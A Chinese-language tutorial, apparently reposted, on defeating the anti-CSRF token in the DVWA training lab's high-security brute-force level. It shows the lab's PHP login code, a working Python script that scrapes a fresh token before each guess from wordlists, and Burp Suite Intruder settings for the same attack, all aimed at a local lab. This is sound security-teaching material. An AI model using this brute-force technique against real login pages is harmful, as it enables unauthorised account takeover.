DVWA-1.3 Brute Force(暴力破解)-High-繞過token


High Level

查看源碼

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>
high.php

我們發現

(1)代碼加入了token,可以抵御CSRF攻擊,同時也增加了爆破的難度。通過抓包,可以看到,登錄驗證時提交了四個參數:username、password、Login以及user_token。

每次服務器返回的登陸頁面中都會包含一個隨機的user_token的值,用戶每次登錄時都要將user_token一起提交。服務器收到請求后,會優先做token的檢查,再進行sql查詢。

(2)源碼使用了stripslashes()、 mysql_real_escape_string()對參數username、password進行過濾、轉義,進一步抵御sql注入。

★stripslashes()

去除字符串中的反斜線字符,如果有兩個連續的反斜線,則只去掉一個。

mysql_real_escape_string()

函數轉義 SQL 語句中使用的字符串中的特殊字符。

下列字符受影響:

    • \x00
    • \n
    • \r
    • \
    • '
    • "
    • \x1a

如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。

(3)錯誤頁面使用了sleep( rand( 0, 3 ) );,也就是說當我們輸入錯誤的用戶名或密碼時,會隨機等待0-3秒后才顯示錯誤信息。降低了暴力破解的效率。

漏洞利用

針對這樣的情況,我們能不能攻破呢?答案是肯定的,我們需要重新設計破解動作:

破解動作:訪問首頁——獲得user_token參數——發送帶user_token的登錄數據包

方法一 python腳本

# Author:Zheng Na
import requests,re

url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/'
headers = {"Cookie":"security=high; PHPSESSID=hcf6rpl3qghlai922bnjhup465"}

flag = False

f1 = open("username.txt", 'r')
for line1 in f1:
    username = line1.strip()

    f2 = open("password.txt", 'r')
    for line2 in f2:
        # 訪問首頁
        response1 = requests.get(url,headers=headers)
        # 獲取user_token
        user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",response1.text)[0]
        # 發送登錄數據包
        password = line2.strip()
        params = {'username': username, 'password': password, 'Login': 'login','user_token':user_token}
        response2 = requests.get(url, params=params, headers=headers)
        if "Username and/or password incorrect." in response2.text:
            print("username:%s,password:%s,user_token:%s----wrong account!" % (username, password, user_token))
        else:
            print("\033[31;1musername:%s,password:%s,user_token:%s----right account!\033[0m" % (username, password, user_token))
            flag = True
            break
    if flag == True:
        break
    f2.close()
f1.close()

結果

PS:由於本關每次嘗試密碼時,都需要附帶上一個請求返回的token,因此本關不能使用多線程腳本,否則無法驗證token。

 

另外,寫Python腳本時,除了使用re模塊正則表達式匹配token外,還可以使用以下2種方法。

使用PyQuery方法

# Author:Zheng Na
import requests
from pyquery import PyQuery

url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/'
headers = {"Cookie":"security=high; PHPSESSID=hcf6rpl3qghlai922bnjhup465"}

# 訪問首頁
response1 = requests.get(url, headers=headers)
# 獲取user_token
pq=PyQuery(response1.text)
user_token = pq("input[name=user_token]").val()
print(user_token) #返回:fbe4b1539c50640a96bca639d09f42c4

使用BeautifulSoup方法

# Author:Zheng Na
import requests
from bs4 import BeautifulSoup

url = 'http://127.0.0.1/dvwa/vulnerabilities/brute/'
headers = {"Cookie":"security=high; PHPSESSID=hcf6rpl3qghlai922bnjhup465"}

# 訪問首頁
response1 = requests.get(url, headers=headers)
# 獲取user_token
soup = BeautifulSoup(response1.text,"xml")
user_token = soup.find_all('input')[3]["value"] 
print(user_token) #返回:fdccfe30e48a860eb62d19d6bae1e8fb

方法二 burpsuite爆破

步驟

1.抓包,發送到Intruder模塊

2.選擇Pitchfork(草叉模式),添加爆破的參數

3.在Options中找到Request Engine模塊,把線程數設為1

 

4.在Options中找到Rediections模塊,選擇always,允許重定向

5.在Options中找到Grep-Extract模塊,點擊Add,並設置篩選條件,得到user_token

6.在Payloads中為選擇的參數設置字典

 

 

 

7.點擊start attack,開始爆破

根據返回長度的大小,可以得到正確的用戶密碼

 

參考:

https://www.cnblogs.com/bmjoker/p/9096225.html

https://www.freebuf.com/articles/web/116437.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM